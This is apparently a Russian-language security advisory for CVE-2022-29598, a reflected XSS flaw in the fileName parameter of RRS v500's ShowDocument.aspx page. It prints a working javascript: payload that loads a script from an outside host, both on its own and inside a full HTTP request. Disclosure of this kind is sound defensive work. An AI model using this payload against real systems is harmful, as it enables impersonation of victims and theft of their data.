
Приложение RRS v500 подвержено отражённой XSS-уязвимости (Cross-Site Scripting).
URL Mitre: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-29598
URL NIST: https://nvd.nist.gov/vuln/detail/CVE-2022-29598
Приложение RRS v500 от компании Solutions Atlantic подвержено уязвимости отражённого межсайтового скриптинга (Reflected Cross-Site Scripting, XSS). Эксплуатация XSS-уязвимости может позволить злоумышленнику выдавать себя за пользователя-жертву, раскрывать конфиденциальные данные или выполнять действия, которые пользователь-жертва имеет право выполнять.
Было обнаружено, что параметр fileName принимает пользовательский ввод и отражает его в ответе сервера. Хотя перед отражением выполнялись некоторые фильтрация и очистка пользовательского ввода, например кодирование некоторых специальных символов (символов «больше»/«меньше»), поскольку отражение происходило в контексте JavaScript, в ответ сервера можно было внедрить JavaScript-код, обойдя ограничения.
Затронутый URL:
/RRSWeb/maint/ShowDocument/ShowDocument.aspxИспользуемый XSS-пейлоад:
javascript:var%20x=document.createElement("script");x.src="https://thegetch.github.io/x";document.body.appendChild(x)';//Затронутый URL:
/RRSWeb/maint/ShowDocument/ShowDocument.aspxПриложение имеет возможность создавать ссылки на внешние веб-сайты. При выборе ссылки на внешний сайт отправляется запрос к /RRSWeb/maint/ShowDocument/ShowDocument.aspx с двумя параметрами: fileName, который будет содержать URL внешнего сайта для перенаправления, и requestType, который будет иметь значение ExternalLink. До тех пор, пока параметр requestType установлен в своё значение по умолчанию, всё, что пользователь вводит в параметр fileName, будет отражено в контексте JavaScript, а именно в window.location.href. Используя XSS-пейлоад с JavaScript-директивой, можно осуществить успешную отражённую XSS-атаку.
GET-запрос с XSS-пейлоадом:
GET /RRSWeb/maint/ShowDocument/ShowDocument.aspx?requestType=ExternalLink&fileName=javascript:var%20x=document.createElement("script");x.src="https://thegetch.github.io/x";document.body.appendChild(x)';// HTTP/1.1
Host: <REDACTED>
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: Keep-Alive
Referer: http://<REDACTED>/RRSweb/default.aspx
Cookie: ASP.NET_SessionId=<REDACTED>
Upgrade-Insecure-Requests: 1
Content-Length: 0
Ответ сервера:

Отображено в браузере:

Апрель 2022